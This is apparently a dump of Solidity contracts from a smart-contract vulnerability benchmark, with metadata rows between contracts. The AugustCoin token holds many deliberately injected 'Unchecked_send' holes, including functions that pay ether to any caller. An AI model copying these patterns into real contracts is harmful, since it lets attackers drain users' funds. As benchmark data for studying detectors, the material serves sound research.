// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 123,486 | 10,330 |
5aecbd885cf335394a6f3e1768248c6a5bfea760c095b59c2ad521dac39d9666
| 13,080 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Unchecked_send/Sol/buggy_37.sol
| 3,057 | 13,038 |
pragma solidity 0.4.25;
// ----------------------------------------------------------------------------
// 'August Coin' token contract
//
// Deployed to : 0xe4948b8A5609c3c39E49eC1e36679a94F72D62bD
// Symbol : AUC
// Name : AugustCoin
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Ahiwe Onyebuchi Valentine.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
bool public payedOut_unchk33 = false;
function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance); //Unchecked_send bug
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function bug_unchk_send32() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function bug_unchk_send31() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
function bug_unchk_send30() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function bug_unchk3(address addr) public
{addr.send (42 ether); } //Unchecked_send bug
function balanceOf(address tokenOwner) public view returns (uint balance);
function bug_unchk_send29() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function bug_unchk_send28() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function transfer(address to, uint tokens) public returns (bool success);
function bug_unchk_send27() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function approve(address spender, uint tokens) public returns (bool success);
function bug_unchk_send26() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function bug_unchk_send25() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function my_func_unchk11(address dst) public payable{
dst.send(msg.value); //Unchecked_send bug
}
event Transfer(address indexed from, address indexed to, uint tokens);
function cash_unchk10(uint roundIndex, uint subpotIndex,address winner_unchk10) public{
uint64 subpot_unchk10 = 10 ether;
winner_unchk10.send(subpot_unchk10); //bug //Unchecked_send bug
subpot_unchk10= 0;
}
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
function bug_unchk_send24() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
function UncheckedExternalCall_unchk40 () public
{ address addr_unchk40;
if (! addr_unchk40.send (2 ether))
{// comment1;
}
else
{//comment2;
}
}
address public owner;
function UncheckedExternalCall_unchk4 () public
{ address addr_unchk4;
if (! addr_unchk4.send (42 ether))
{// comment1;
}
else
{//comment2;
}
}
address public newOwner;
function callnotchecked_unchk1(address callee) public {
callee.call.value(2 ether); //Unchecked_send bug
}
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
function bug_unchk_send23() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function bug_unchk_send22() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function bug_unchk_send21() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract AugustCoin is ERC20Interface, Owned, SafeMath {
function bug_unchk39(address addr) public
{addr.send (4 ether); } //Unchecked_send bug
string public symbol;
function unhandledsend_unchk38(address callee) public {
callee.send(5 ether); //Unchecked_send bug
}
string public name;
function callnotchecked_unchk37(address callee) public {
callee.call.value(1 ether); //Unchecked_send bug
}
uint8 public decimals;
function my_func_uncheck36(address dst) public payable{
dst.call.value(msg.value)(""); //Unchecked_send bug
}
uint public _totalSupply;
function my_func_unchk35(address dst) public payable{
dst.send(msg.value); //Unchecked_send bug
}
mapping(address => uint) balances;
function cash_unchk34(uint roundIndex, uint subpotIndex, address winner_unchk34) public{
uint64 subpot_unchk34 = 10 ether;
winner_unchk34.send(subpot_unchk34); //bug //Unchecked_send bug
subpot_unchk34= 0;
}
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "AUC";
name = "AugustCoin";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xe4948b8A5609c3c39E49eC1e36679a94F72D62bD] = _totalSupply;
emit Transfer(address(0), 0xe4948b8A5609c3c39E49eC1e36679a94F72D62bD, _totalSupply);
}
function bug_unchk_send20() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function unhandledsend_unchk2(address callee) public {
callee.send(5 ether); //Unchecked_send bug
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function bug_unchk_send19() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function bug_unchk_send18() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function bug_unchk_send17() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function bug_unchk_send16() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function bug_unchk15(address addr) public
{addr.send (42 ether); } //Unchecked_send bug
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function unhandledsend_unchk14(address callee) public {
callee.send(5 ether); //Unchecked_send bug
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
function callnotchecked_unchk13(address callee) public {
callee.call.value(1 ether); //Unchecked_send bug
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function my_func_uncheck12(address dst) public payable{
dst.call.value(msg.value)(""); //Unchecked_send bug
}
}
| 223,900 | 10,331 |
4001acdbf7b9a36723dc505c1c4c56f51a49eca40633d61b7bb2856905ed8d7f
| 20,706 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/23/23b93cD91b2E896FE8D486d880E02C7C3dd2CFb2_SpookyInu.sol
| 5,189 | 18,694 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SpookyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Spooky Inu';
string private constant _symbol = 'SPOOK';
uint256 private _taxFee = 700;
uint256 private _burnFee = 0;
uint public max_tx_size = 100000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xB8f99A7Ac0920a0191465Ea35EA091496Ac6C22F, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 329,883 | 10,332 |
5657c30ca54f35d3b248409fa7acc541b20ac767dee9264eeba18d9c27c71009
| 30,639 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/70/707bcd48a576213f3d2f1da50272ef2e00c42db8_wMEMO.sol
| 3,268 | 12,867 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
